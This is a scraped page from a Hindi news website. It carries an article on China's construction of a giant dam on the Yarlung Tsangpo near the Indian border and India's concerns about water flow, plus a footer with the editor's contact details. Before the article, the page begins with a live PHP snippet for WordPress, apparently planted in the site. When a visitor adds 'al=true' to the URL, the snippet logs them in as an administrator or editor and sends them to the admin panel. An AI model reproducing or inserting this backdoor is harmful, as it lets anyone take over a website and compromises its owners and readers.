// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); भारत की चिंता बढ़ाने वाली चीन की नई चाल! बॉर्डर से 50KM दूर ब्रह्मपुत्र पर बना रहा दुनिया का सबसे बड़ा बांध – प्रत्युषा आशा की नयी किरण
देश

भारत की चिंता बढ़ाने वाली चीन की नई चाल! बॉर्डर से 50KM दूर ब्रह्मपुत्र पर बना रहा दुनिया का सबसे बड़ा बांध

नई दिल्ली

 चीन हमेशा से भारत के खिलाफ नई-नई साजिश रचते रहता है. एक बार फिर चीन ने बॉर्डर के पास बड़ी साजिश रचने की कोशिश में है. दरअसल तिब्बत में यारलुंग त्सांगपो नदी पर दुनिया के सबसे बड़े बांध का निर्माण चीन ने शुरू कर दिया है. इस निर्माण ने एक बार फिर भारत की चिंताएं बढ़ा दी हैं. सबसे बड़ी बात यह है कि यह मेगा प्रोजेक्ट भारतीय सीमा से सिर्फ 50 किलोमीटर दूर बनाया जा रहा है. ब्रह्मपुत्र जैसी जीवनदायिनी नदी पर चीन का यह प्रोजेक्ट है. चिंता इस बात की है कि यदि चीन भविष्य में पानी के प्रवाह को नियंत्रित करने की स्थिति में पहुंचता है तो इसका असर करोड़ों लोगों की जिंदगी, खेती और पर्यावरण पर पड़ सकता है. यही वजह है कि भारत इस पूरे घटनाक्रम पर बेहद सतर्क नजर बनाए हुए है। 

तिब्बत से निकलने वाली यारलुंग त्सांगपो नदी भारत में प्रवेश करने के बाद सियांग और फिर ब्रह्मपुत्र के नाम से जानी जाती है. यह नदी अरुणाचल प्रदेश और असम की अर्थव्यवस्था की रीढ़ मानी जाती है. लाखों किसान इसकी जलधारा पर निर्भर हैं. ऐसे में नदी के ऊपरी हिस्से में चीन का विशाल बांध बनाना केवल एक इंफ्रास्ट्रक्चर प्रोजेक्ट नहीं बल्कि भू-राजनीतिक चुनौती भी माना जा रहा है. इंडिया टुडे की रिपोर्ट के अनुसार भारत को आशंका है कि बांध के कारण नदी का प्राकृतिक प्रवाह प्रभावित हो सकता है, इससे कभी अचानक बाढ़ और कभी पानी की कमी जैसी समस्याएं पैदा हो सकती हैं. हाल के सैटेलाइट चित्रों और खुफिया रिपोर्टों ने यह संकेत दिया है कि चीन इस प्रोजेक्ट को तेजी से आगे बढ़ा रहा है, जिससे नई दिल्ली की चिंताएं और बढ़ गई हैं। 

सीमा के करीब चीन का मेगा डैम, क्यों बढ़ी चिंता?
    चीन ने तिब्बत में यारलुंग त्सांगपो नदी के निचले हिस्से पर दुनिया के सबसे बड़े हाइड्रोपावर बांध के निर्माण की आधिकारिक शुरुआत कर दी है. यह स्थान अरुणाचल प्रदेश की सीमा से लगभग 50 किलोमीटर दूर बताया जा रहा है. भारत लंबे समय से इस प्रोजेक्ट को लेकर अपनी चिंताएं व्यक्त करता रहा है. भारत का मानना है कि सीमा पार बहने वाली नदियों पर किसी भी बड़े निर्माण से पहले संबंधित देशों के बीच पारदर्शिता और समन्वय जरूरी है. हालांकि चीन ने अब तक अपने प्रोजेक्ट को केवल बिजली उत्पादन से जुड़ा कदम बताया है। 

    यारलुंग त्सांगपो नदी हिमालयी क्षेत्र की सबसे महत्वपूर्ण नदियों में गिनी जाती है. यह तिब्बत से निकलकर भारत में सियांग के रूप में प्रवेश करती है और आगे असम में ब्रह्मपुत्र बन जाती है. इसी कारण नदी के ऊपरी हिस्से में होने वाला कोई भी बदलाव सीधे तौर पर भारत के पूर्वोत्तर राज्यों को प्रभावित कर सकता है. बड़े पैमाने पर जल संग्रहण और प्रवाह नियंत्रण से नदी की प्राकृतिक व्यवस्था बदल सकती है। 

    इंडिया टुडे की रिपोर्ट के अनुसार भारत सरकार ने संसद में स्पष्ट किया है कि वह ब्रह्मपुत्र नदी बेसिन से जुड़ी हर गतिविधि पर लगातार नजर रख रही है. सरकार के अनुसार चीन की हाइड्रो पावर प्रोजेक्ट्स और बांध निर्माण से जुड़े सभी घटनाक्रमों का अध्ययन किया जा रहा है. इसके साथ ही प्रभावित क्षेत्रों में सुरक्षा और आपदा प्रबंधन की तैयारियों को भी मजबूत किया जा रहा है। 

कृषि और पर्यावरण पर पड़ सकता है असर
सबसे बड़ी चिंता नदी के प्रवाह में संभावित बदलाव को लेकर है. यदि किसी कारण से पानी का बहाव कम या अधिक होता है तो अरुणाचल प्रदेश और असम की कृषि व्यवस्था प्रभावित हो सकती है. ब्रह्मपुत्र घाटी की लाखों हेक्टेयर खेती इस नदी के पानी पर निर्भर करती है. पानी की कमी होने पर फसलों का उत्पादन प्रभावित होगा, जबकि अचानक अधिक पानी छोड़े जाने पर बाढ़ का खतरा बढ़ सकता है. पर्यावरणीय दृष्टि से भी यह प्रोजेक्ट संवेदनशील मानी जा रही है. नदी के प्राकृतिक प्रवाह में बदलाव से जलीय जीवों, वनस्पतियों और स्थानीय पारिस्थितिकी तंत्र पर असर पड़ सकता है. वैज्ञानिकों का मानना है कि हिमालयी क्षेत्र पहले ही जलवायु परिवर्तन की चुनौतियों का सामना कर रहा है. ऐसे में इतने बड़े बांध का प्रभाव लंबे समय तक महसूस किया जा सकता है। 

भारत की जवाबी रणनीति क्या है?
    भारत केवल चिंता जताने तक सीमित नहीं है. सरकार ने चीन के सामने कई बार सीमा पार नदी प्रोजेक्टओं में पारदर्शिता और डेटा साझा करने की मांग रखी है. भारत चाहता है कि चीन किसी भी बड़े जल प्रोजेक्ट से पहले निचले प्रवाह वाले देशों को जानकारी दे और नियमित रूप से जल स्तर का डेटा उपलब्ध कराए। 

    इसके अलावा भारत पूर्वोत्तर राज्यों में बाढ़ की पहले से चेतावनी देने वाली व्यवस्था, नदियों की निगरानी और आपदा से निपटने की तैयारियों को मजबूत कर रहा है. आधुनिक तकनीक के जरिए नदी के जलस्तर और प्रवाह की निगरानी बढ़ाई जा रही है. इससे किसी भी संभावित आपात स्थिति में तेजी से प्रतिक्रिया दी जा सकेगी। 

क्या पानी बन सकता है रणनीतिक हथियार?
अंतरराष्ट्रीय राजनीति में पानी को लेकर विवाद कोई नई बात नहीं है. भविष्य में जल संसाधन भू-राजनीतिक शक्ति का महत्वपूर्ण माध्यम बन सकते हैं. चीन द्वारा ब्रह्मपुत्र के ऊपरी हिस्से में बड़े बांधों का निर्माण इसी बहस को और मजबूत करता है. हालांकि चीन बार-बार कहता रहा है कि उसका उद्देश्य केवल ऊर्जा उत्पादन है. लेकिन भारत सहित कई देशों की चिंताएं पूरी तरह खत्म नहीं हुई हैं. भारत के लिए सबसे महत्वपूर्ण चुनौती यह सुनिश्चित करना है कि ब्रह्मपुत्र नदी का प्राकृतिक प्रवाह और पूर्वोत्तर राज्यों की जल सुरक्षा प्रभावित न हो. यही कारण है कि नई दिल्ली इस प्रोजेक्ट पर लगातार निगरानी रख रही है और कूटनीतिक स्तर पर भी सक्रिय बनी हुई है। 

RO No. 13169/ 31

RO No. 13098/ 20

PRATYUSHAASHAKINAYIKIRAN.COM
Editor : Maya Puranik
Permanent Address : Yadu kirana store ke pass Parshuram nagar professor colony raipur cg
Email : puranikrajesh2008@gmail.com
Mobile : -91-9893051148
Website : pratyushaashakinayikiran.com

जनसम्पर्क विभाग – आरएसएस फीड

[wp-rss-aggregator]